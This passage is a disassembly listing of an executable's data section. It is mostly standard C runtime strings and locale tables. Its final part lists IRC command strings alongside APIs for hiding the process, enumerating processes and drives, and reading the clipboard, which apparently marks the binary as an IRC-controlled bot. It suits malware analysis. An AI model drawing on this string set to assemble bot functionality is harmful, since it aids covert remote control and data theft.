sub_420920+1Eo ; sub_420920+4Bo aIoinit_c db 'ioinit.c',0 ; DATA XREF: ___:00421F1Bo ; ___:00422016o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 10h aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 10h a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 10h aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 10h aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 10h aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_444134o dbl_434140 dq 0.0 ; DATA XREF: sub_422B10+D7r ; sub_422B10+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_423460+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_423460+6o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_423740:loc_4237B8o align 4 dword_434178 dd 0FFFFFFFFh, 4241E9h, 4241F6h, 0 ; DATA XREF: sub_424150+5o dword_434188 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424340+5o dd offset sub_42441D align 8 dd offset loc_4243DE ; --------------------------------------------------------------------------- jmp short loc_4341E1 ; --------------------------------------------------------------------------- dw 42h dword_4341A0 dd 0FFFFFFFFh, 42473Ch, 424742h, 0 ; DATA XREF: sub_4244E0+5o dword_4341B0 dd 0FFFFFFFFh, 4247BEh, 4247CDh, 0 ; DATA XREF: sub_424760+5o dword_4341C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424890+5o dd offset sub_4248FE align 10h dd offset loc_4248E0 dd offset loc_4248E6 dword_4341D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424940+5o ; --------------------------------------------------------------------------- stosb loc_4341E1: ; CODE XREF: ___:0043419Cj dec ecx inc edx ; --------------------------------------------------------------------------- db 0 align 8 dd offset loc_42498C dd offset loc_424992 aLc_time db 'LC_TIME',0 ; DATA XREF: ___:004443BCo aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: ___:004443B0o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: ___:004443A4o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: ___:00444398o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: ___:0044438Co align 4 aLc_all db 'LC_ALL',0 ; DATA XREF: ___:off_444380o align 10h asc_434230: ; DATA XREF: ___:loc_424B83o ; sub_424F60+83o unicode 0, <;>,0 asc_434234 db '=;',0 ; DATA XREF: ___:loc_424AB1o align 4 aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_424DC0+3Eo ; sub_424F60+1Bo align 4 asc_434244: ; DATA XREF: sub_424F60+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_425250:loc_4252C2o a__1: ; DATA XREF: sub_4253B0+50o ; sub_42B250:loc_42B44Bo unicode 0, <.>,0 a__2: ; DATA XREF: sub_4253B0+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: ___:00425586o ; sub_4255E0+18o dword_43425C dd 0 ; DATA XREF: sub_425B90+5Do ; sub_427D80+58o ... dword_434260 dd 2 dup(0) ; DATA XREF: sub_425B90+35o ; sub_427D80+35o ... dword_434268 dd 0FFFFFFFFh, 425CD6h, 425CDCh, 0FFFFFFFFh, 425DCCh, 425DD2h ; DATA XREF: sub_425B90+5o dword_434280 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: ___:0042622Bo ; ___:004262A0o dword_43428C dd 61647473h, 2E766772h, 63h ; DATA XREF: ___:00426392o dword_434298 dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h ; DATA XREF: ___:00426918o ; ___:004269F6o dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah dd 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_444454o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_426B80+1A4o align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_426B80:loc_426CCAo db 0Ah db 'Program: ',0 align 10h aWinsig_c db 'winsig.c',0 ; DATA XREF: ___:004271C1o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_427610+5Fo align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_427610:loc_42765Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_427610+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_4276D0+138o align 4 dword_4345B8 dd 0FFFFFFFFh, 427EC4h, 427ECAh ; DATA XREF: sub_427D80+5o dword_4345C4 dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_427F40+16o ; sub_427F40+48o dword_4345D0 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_428790+21o aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_428790+18o align 10h aUngetc_c db 'ungetc.c',0 ; DATA XREF: ___:00428D16o ; sub_428D70+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: sub_428F10+1D1o aTz db 'TZ',0 ; DATA XREF: sub_428F10+35o align 4 aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42A8D0+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42B250+1CFo ; sub_42B250+215o ... align 10h aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42B580+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42B9E0+52o ; sub_42B9E0+6Bo ... align 4 aParaguay db 'Paraguay',0 ; DATA XREF: ___:00444ABCo align 4 aUruguay db 'Uruguay',0 ; DATA XREF: ___:00444A90o aChile db 'Chile',0 ; DATA XREF: ___:00444A64o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: ___:00444A38o aArgentina db 'Argentina',0 ; DATA XREF: ___:00444A0Co align 4 aPeru db 'Peru',0 ; DATA XREF: ___:004449E0o align 10h aColombia db 'Colombia',0 ; DATA XREF: ___:004449B4o align 4 aVenezuela db 'Venezuela',0 ; DATA XREF: ___:00444988o align 4 aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: ___:0044495Co align 4 aSouthAfrica db 'South Africa',0 ; DATA XREF: ___:00444930o align 4 aPanama db 'Panama',0 ; DATA XREF: ___:00444904o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: ___:004448D8o align 10h aCostaRica db 'Costa Rica',0 ; DATA XREF: ___:004448ACo align 4 aSwitzerland db 'Switzerland',0 ; DATA XREF: ___:00444880o aGuatemala db 'Guatemala',0 ; DATA XREF: ___:00444854o align 4 aCanada db 'Canada',0 ; DATA XREF: ___:00444828o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: ___:004447F4o align 4 aAustralia db 'Australia',0 ; DATA XREF: ___:004447D0o align 10h aEnglish db 'English',0 ; DATA XREF: ___:004447C8o ; ___:00444928o aAustria db 'Austria',0 ; DATA XREF: ___:004447A4o aGerman db 'German',0 ; DATA XREF: ___:0044479Co align 4 aBelgium db 'Belgium',0 ; DATA XREF: ___:00444778o aMexico db 'Mexico',0 ; DATA XREF: ___:0044474Co align 4 aSpanish db 'Spanish',0 ; DATA XREF: ___:00444744o ; ___:0044484Co ... aBasque db 'Basque',0 ; DATA XREF: ___:00444718o align 4 aSweden db 'Sweden',0 ; DATA XREF: ___:004446F4o align 10h aSwedish db 'Swedish',0 ; DATA XREF: ___:004446ECo aIceland db 'Iceland',0 ; DATA XREF: ___:004446C8o aIcelandic db 'Icelandic',0 ; DATA XREF: ___:004446C0o align 4 aFrance db 'France',0 ; DATA XREF: ___:0044469Co align 4 aFrench db 'French',0 ; DATA XREF: ___:00444694o ; ___:00444770o ... align 4 aFinland db 'Finland',0 ; DATA XREF: ___:00444670o aFinnish db 'Finnish',0 ; DATA XREF: ___:00444668o aSpain db 'Spain',0 ; DATA XREF: ___:off_444644o ; ___:00444720o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: ___:off_44463Co align 10h aUnitedStates db 'united-states',0 ; DATA XREF: ___:00444B90o align 10h aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: ___:00444B88o align 10h aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: ___:00444B78o align 4 aSouthKorea db 'south-korea',0 ; DATA XREF: ___:00444B70o aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: ___:00444B68o align 10h aSouthKorea_0 db 'south korea',0 ; DATA XREF: ___:00444B60o aSouthAfrica_1 db 'south africa',0 ; DATA XREF: ___:00444B58o align 4 aSlovak db 'slovak',0 ; DATA XREF: ___:00444B50o align 4 aPuertoRico db 'puerto-rico',0 ; DATA XREF: ___:00444B48o aPrChina db 'pr-china',0 ; DATA XREF: ___:00444B40o align 4 aPrChina_0 db 'pr china',0 ; DATA XREF: ___:00444B38o align 4 aNz db 'nz',0 ; DATA XREF: ___:00444B30o align 4 aNewZealand db 'new-zealand',0 ; DATA XREF: ___:00444B28o aHongKong db 'hong-kong',0 ; DATA XREF: ___:00444B20o align 4 aHolland db 'holland',0 ; DATA XREF: ___:00444B18o aGreatBritain db 'great britain',0 ; DATA XREF: ___:00444B10o align 4 aEngland db 'england',0 ; DATA XREF: ___:00444B08o aCzech db 'czech',0 ; DATA XREF: ___:00444B00o align 4 aChina db 'china',0 ; DATA XREF: ___:00444AF8o align 4 aBritain db 'britain',0 ; DATA XREF: ___:00444AF0o aAmerica db 'america',0 ; DATA XREF: ___:off_444AE8o aUsa db 'usa',0 ; DATA XREF: ___:00444DA0o aUs db 'us',0 ; DATA XREF: ___:00444B98o ; ___:00444D98o align 4 aUk db 'uk',0 ; DATA XREF: ___:00444B80o ; ___:00444D90o align 10h aSwiss db 'swiss',0 ; DATA XREF: ___:00444D88o align 4 aSwedishFinland db 'swedish-finland',0 ; DATA XREF: ___:00444D80o aSpanishVenezue db 'spanish-venezuela',0 ; DATA XREF: ___:00444D78o align 4 aSpanishUruguay db 'spanish-uruguay',0 ; DATA XREF: ___:00444D70o aSpanishPuertoR db 'spanish-puerto rico',0 ; DATA XREF: ___:00444D68o aSpanishPeru db 'spanish-peru',0 ; DATA XREF: ___:00444D60o align 10h aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: ___:00444D58o align 4 aSpanishPanama db 'spanish-panama',0 ; DATA XREF: ___:00444D50o align 4 aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: ___:00444D48o align 4 aSpanishModern db 'spanish-modern',0 ; DATA XREF: ___:00444D40o align 4 aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: ___:00444D38o aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: ___:00444D30o align 4 aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: ___:00444D28o align 10h aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: ___:00444D20o aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: ___:00444D18o aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: ___:00444D10o align 10h aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: ___:00444D08o align 4 aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: ___:00444D00o align 4 aSpanishChile db 'spanish-chile',0 ; DATA XREF: ___:00444CF8o align 4 aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: ___:00444CF0o aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: ___:00444CE8o align 4 aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: ___:00444CE0o align 4 aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: ___:00444CD8o align 4 aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: ___:00444CD0o align 4 aNorwegian db 'norwegian',0 ; DATA XREF: ___:00444CC8o align 4 aItalianSwiss db 'italian-swiss',0 ; DATA XREF: ___:00444CC0o align 4 aIrishEnglish db 'irish-english',0 ; DATA XREF: ___:00444CB8o align 4 aGermanSwiss db 'german-swiss',0 ; DATA XREF: ___:00444CB0o align 4 aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: ___:00444CA8o align 4 aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: ___:00444CA0o aGermanAustrian db 'german-austrian',0 ; DATA XREF: ___:00444C98o aFrenchSwiss db 'french-swiss',0 ; DATA XREF: ___:00444C90o align 10h aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: ___:00444C88o align 4 aFrenchCanadian db 'french-canadian',0 ; DATA XREF: ___:00444C80o aFrenchBelgian db 'french-belgian',0 ; DATA XREF: ___:00444C78o align 4 aEnglishUsa db 'english-usa',0 ; DATA XREF: ___:00444C70o aEnglishUs db 'english-us',0 ; DATA XREF: ___:00444C68o align 4 aEnglishUk db 'english-uk',0 ; DATA XREF: ___:00444C60o align 4 aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: ___:00444C58o align 4 aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: ___:00444C50o align 4 aEnglishNz db 'english-nz',0 ; DATA XREF: ___:00444C48o align 4 aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: ___:00444C40o aEnglishIre db 'english-ire',0 ; DATA XREF: ___:00444C38o aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: ___:00444C30o align 4 aEnglishCan db 'english-can',0 ; DATA XREF: ___:00444C28o aEnglishBelize db 'english-belize',0 ; DATA XREF: ___:00444C20o align 4 aEnglishAus db 'english-aus',0 ; DATA XREF: ___:00444C18o aEnglishAmerica db 'english-american',0 ; DATA XREF: ___:00444C10o align 4 aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: ___:00444C08o align 4 aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: ___:00444C00o aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: ___:00444BF8o align 4 aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: ___:00444BF0o align 10h aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: ___:00444BE8o align 4 aChinese db 'chinese',0 ; DATA XREF: ___:00444BE0o aChi db 'chi',0 ; DATA XREF: ___:00444BD8o aChh db 'chh',0 ; DATA XREF: ___:00444BD0o aCanadian db 'canadian',0 ; DATA XREF: ___:00444BC8o align 10h aBelgian db 'belgian',0 ; DATA XREF: ___:00444BC0o aAustralian db 'australian',0 ; DATA XREF: ___:00444BB8o align 4 aAmericanEnglis db 'american-english',0 ; DATA XREF: ___:00444BB0o align 4 aAmericanEngl_0 db 'american english',0 ; DATA XREF: ___:00444BA8o align 4 aAmerican db 'american',0 ; DATA XREF: ___:off_444BA0o align 4 off_434D08 dd offset byte_50434F ; DATA XREF: sub_42C760:loc_42C7B3o off_434D0C dd offset byte_504341 ; DATA XREF: sub_42C760+16o dword_434D10 dd 69736863h, 632E657Ah, 0 ; DATA XREF: sub_42CE20+38o dword_434D1C dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_42CE20+2Co dword_434D28 dd 4E512331h, 4E41h ; DATA XREF: sub_42DFD0:loc_42E18Fo dword_434D30 dd 4E492331h, 46h ; DATA XREF: sub_42DFD0+19Bo dword_434D38 dd 4E492331h, 44h ; DATA XREF: sub_42DFD0+168o dword_434D40 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch ; DATA XREF: sub_42DFD0+125o ; ___:00444E58o dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h dd 4D41h, 65636544h, 7265626Dh, 0 aNovember db 'November',0 ; DATA XREF: ___:00444E40o align 4 aOctober db 'October',0 ; DATA XREF: ___:00444E3Co aSeptember db 'September',0 ; DATA XREF: ___:00444E38o align 10h aAugust db 'August',0 ; DATA XREF: ___:00444E34o align 4 aJuly db 'July',0 ; DATA XREF: ___:00444E30o align 10h aJune db 'June',0 ; DATA XREF: ___:00444E2Co align 4 aApril db 'April',0 ; DATA XREF: ___:00444E24o align 10h aMarch db 'March',0 ; DATA XREF: ___:00444E20o align 4 aFebruary db 'February',0 ; DATA XREF: ___:00444E1Co align 4 aJanuary db 'January',0 ; DATA XREF: ___:00444E18o aDec db 'Dec',0 ; DATA XREF: ___:00444E14o aNov db 'Nov',0 ; DATA XREF: ___:00444E10o aOct db 'Oct',0 ; DATA XREF: ___:00444E0Co aSep db 'Sep',0 ; DATA XREF: ___:00444E08o aAug db 'Aug',0 ; DATA XREF: ___:00444E04o aJul db 'Jul',0 ; DATA XREF: ___:00444E00o aJun db 'Jun',0 ; DATA XREF: ___:00444DFCo aMay db 'May',0 ; DATA XREF: ___:00444DF8o ; ___:00444E28o aApr db 'Apr',0 ; DATA XREF: ___:00444DF4o aMar db 'Mar',0 ; DATA XREF: ___:00444DF0o aFeb db 'Feb',0 ; DATA XREF: ___:00444DECo aJan db 'Jan',0 ; DATA XREF: ___:00444DE8o aSaturday db 'Saturday',0 ; DATA XREF: ___:00444DE4o align 4 aFriday db 'Friday',0 ; DATA XREF: ___:00444DE0o align 10h aThursday db 'Thursday',0 ; DATA XREF: ___:00444DDCo align 4 aWednesday db 'Wednesday',0 ; DATA XREF: ___:00444DD8o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: ___:00444DD4o aMonday db 'Monday',0 ; DATA XREF: ___:00444DD0o ; ___:00444BCCo ... align 4 aSunday db 'Sunday',0 ; DATA XREF: ___:00444DCCo align 10h aSat db 'Sat',0 ; DATA XREF: ___:00444DC8o aFri db 'Fri',0 ; DATA XREF: ___:00444DC4o aThu db 'Thu',0 ; DATA XREF: ___:00444DC0o aWed db 'Wed',0 ; DATA XREF: ___:00444DBCo aTue db 'Tue',0 ; DATA XREF: ___:00444DB8o aMon db 'Mon',0 ; DATA XREF: ___:00444DB4o aSun db 'Sun',0 ; DATA XREF: ___:off_444DB0o aAP db 'a/p',0 ; DATA XREF: sub_42F440:loc_42F633o aAmPm db 'am/pm',0 ; DATA XREF: sub_42F440:loc_42F613o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_42F960+9Co ; sub_42F960+F1o align 8 dword_434E88 dd 0FFFFFFFFh, 42FD27h, 42FD2Dh, 0FFFFFFFFh, 42FDA6h, 42FDACh ; DATA XREF: sub_42FC00+5o dword_434EA0 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4301F0+44o dword_434EB0 dd 0FFFFFFFFh, 4308ADh, 4308B3h, 0 ; DATA XREF: sub_4307B0+5o dword_434EC0 dd 0FFFFFFFFh, 430A4Fh, 430A55h ; DATA XREF: sub_430950+5o dword_434ECC dd 6D635F61h, 632E70h ; DATA XREF: sub_430B00+17Fo aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_430B00:loc_430C73o align 8 dword_434F18 dd 0FFFFFFFFh, 430DDFh, 430DE5h, 0FFFFFFFFh, 430E7Dh, 430E83h ; DATA XREF: sub_430B00+5o dword_434F30 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_430F50+B2o ; sub_430F50+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_431490+1Fo dd offset dword_435030 off_434F50 dd offset sub_431610 ; DATA XREF: sub_4314F0+44o ; sub_4315B0+1Fo ... dd offset sub_431560 dd offset sub_431580 dd offset dword_435080 off_434F60 dd offset sub_431730 ; DATA XREF: sub_431640+16o ; sub_4316E0+Ao ... dd offset sub_431560 dd offset sub_431700 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_431790+1Fo dd offset dword_4350D0 off_434F88 dd offset sub_431870 ; DATA XREF: sub_4317F0+16o ; sub_431820+Ao ... dd offset sub_431560 dd offset sub_431840 dd offset dword_435100 off_434F98 dd offset sub_431D30 ; DATA XREF: ___:00431D0Ao ; sub_431D60+Co ... dd offset sub_431ED0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_431ED0:loc_431EE8o align 4 dd offset dword_435148 off_434FB8 dd offset sub_431F40 ; DATA XREF: sub_431F00+Ao ; ___:0043202Ao ... align 10h dword_434FC0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_432050+Do dd 3, 19930520h, 2 dup(0) off_434FE0 dd offset off_445160 ; DATA XREF: ___:00435014o ; ___:00435068o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_434FF8 dd offset off_445178 ; DATA XREF: ___:00435010o ; ___:00435064o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_434FF8 dd offset off_434FE0 dword_435018 dd 4 dup(0) ; DATA XREF: ___:00435040o dd 2, 435010h dword_435030 dd 3 dup(0) ; DATA XREF: ___:00434F4Co dd offset off_445178 dd offset dword_435018+8 align 8 off_435048 dd offset off_445198 ; DATA XREF: ___:00435060o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_435048 dd offset off_434FF8 dd offset off_434FE0 dword_43506C dd 3 dup(0) ; DATA XREF: ___:00435090o dd 3, 435060h dword_435080 dd 3 dup(0) ; DATA XREF: ___:00434F5Co dd offset off_445198 dd offset dword_43506C+4 align 8 off_435098 dd offset off_4451B8 ; DATA XREF: ___:004350B0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_435098 dd offset off_434FF8 dd offset off_434FE0 dword_4350BC dd 3 dup(0) ; DATA XREF: ___:004350E0o dd 3, 4350B0h dword_4350D0 dd 3 dup(0) ; DATA XREF: ___:00434F84o dd offset off_4451B8 dd offset dword_4350BC+4 dd offset off_434FE0 dword_4350E8 dd 4 dup(0) ; DATA XREF: ___:00435110o dd 1, 4350E4h dword_435100 dd 3 dup(0) ; DATA XREF: ___:00434F94o dd offset off_445160 dd offset dword_4350E8+8 align 8 off_435118 dd offset off_4451D8 ; DATA XREF: ___:00435130o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_435118 dd 0 db 0 ; DATA XREF: ___:00435158o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 435130h dword_435148 dd 3 dup(0) ; DATA XREF: ___:00434FB4o dd offset off_4451D8 dd offset unk_435138 align 10h dword_435160 dd 19930520h, 2, 435180h, 5 dup(0) ; DATA XREF: ___:loc_4320BFo dd 0FFFFFFFFh, 4320A8h, 0 dd offset sub_4320A0 dword_435190 dd 19930520h, 2, 4351B0h, 5 dup(0) ; DATA XREF: ___:loc_4320D9o dd 0FFFFFFFFh, 4320C9h, 0 dd offset loc_4320D1 dword_4351C0 dd 19930520h, 2, 4351E0h, 1, 4351F0h, 3 dup(0) ; DATA XREF: ___:loc_4320E4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 435208h, 4 dup(0) dd offset loc_40C22B dd 0 dd offset off_445160 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 431DD0h, 2 dup(0) dd offset off_445178 dd 0 dword_435244 dd 0FFFFFFFFh, 0 ; DATA XREF: ___:00444824o ; ___:00444C84o dd 1Ch, 4314F0h, 2 dup(0) dd offset off_445198 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 431760h, 0 dword_435278 dd 3, 435258h, 435238h, 435218h ; DATA XREF: ___:00435294o dword_435288 dd 0 ; DATA XREF: sub_431490+3Fo ; sub_431700+15o dd offset sub_4316E0 dd 0 dd offset dword_435278 dword_435298 dd 19930520h, 1, 4352B8h, 5 dup(0) ; DATA XREF: SEH_431490o dd 0FFFFFFFFh, 4320F0h dword_4352C0 dd 19930520h, 1, 4352E0h, 5 dup(0) ; DATA XREF: SEH_4314F0o dword_4352E0 dd 0FFFFFFFFh, 432110h, 2, 435238h, 435218h, 0 ; DATA XREF: ___:00435304o dword_4352F8 dd 0 ; DATA XREF: sub_431580+15o dd offset sub_4315B0 dd 0 dd offset dword_4352E0+8 dword_435308 dd 19930520h, 1, 435328h, 5 dup(0) ; DATA XREF: SEH_4315B0o dd 0FFFFFFFFh, 432130h dword_435330 dd 19930520h, 1, 435350h, 5 dup(0) ; DATA XREF: SEH_431670o dd 0FFFFFFFFh, 432150h, 0 dd offset off_4451B8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4318A0h, 0 dword_435378 dd 3, 435358h, 435238h, 435218h ; DATA XREF: ___:00435394o dword_435388 dd 0 ; DATA XREF: sub_431790+3Fo ; sub_431840+15o dd offset sub_431820 dd 0 dd offset dword_435378 dword_435398 dd 19930520h, 1, 4353B8h, 5 dup(0) ; DATA XREF: SEH_431790o dd 0FFFFFFFFh, 432170h, 310h dup(0) dword_436000 dd 0 ; DATA XREF: ___:00417929o dd offset loc_402776 dd offset loc_40BD33 dd offset sub_4318D0 dword_436010 dd 0 ; DATA XREF: ___:00417924o dword_436014 dd 0 ; DATA XREF: ___:00417917o dd offset sub_418D40 dd offset sub_419CB0 dd offset sub_420320 dd offset sub_42A7E0 dword_436028 dd 0 ; DATA XREF: ___:loc_417912o dword_43602C dd 0 ; DATA XREF: sub_4179C0+76o dd offset sub_418E70 dword_436034 dd 0 ; DATA XREF: sub_4179C0:loc_417A31o dword_436038 dd 0 ; DATA XREF: sub_4179C0+88o dd offset sub_42A800 dword_436040 dd 4 dup(0) ; DATA XREF: sub_4179C0:loc_417A43o dword_436050 dd 80000002h, 436D00h, 80000002h, 436D30h, 80000001h, 436D00h ; DATA XREF: sub_401000+7o dword_436068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo aNotice db 'NOTICE',0 ; DATA XREF: sub_401445+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401445+16o aS db '%s',0 ; DATA XREF: sub_401445+3Bo align 10h aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401445+58o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4014E0+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4014E0+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014E0+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4014E0+38o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4014E0+45o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_4014E0+52o align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014E0+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014E0+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4014E0+79o align 4 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4014E0+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014E0+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014E0+A0o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014E0:loc_4015E8o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4014E0:loc_401615o align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4014E0+14Ao align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4014E0+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_4014E0+15Fo align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4014E0+16Co align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4014E0+179o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4014E0+186o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4014E0+193o align 4 aExitwindowsex db 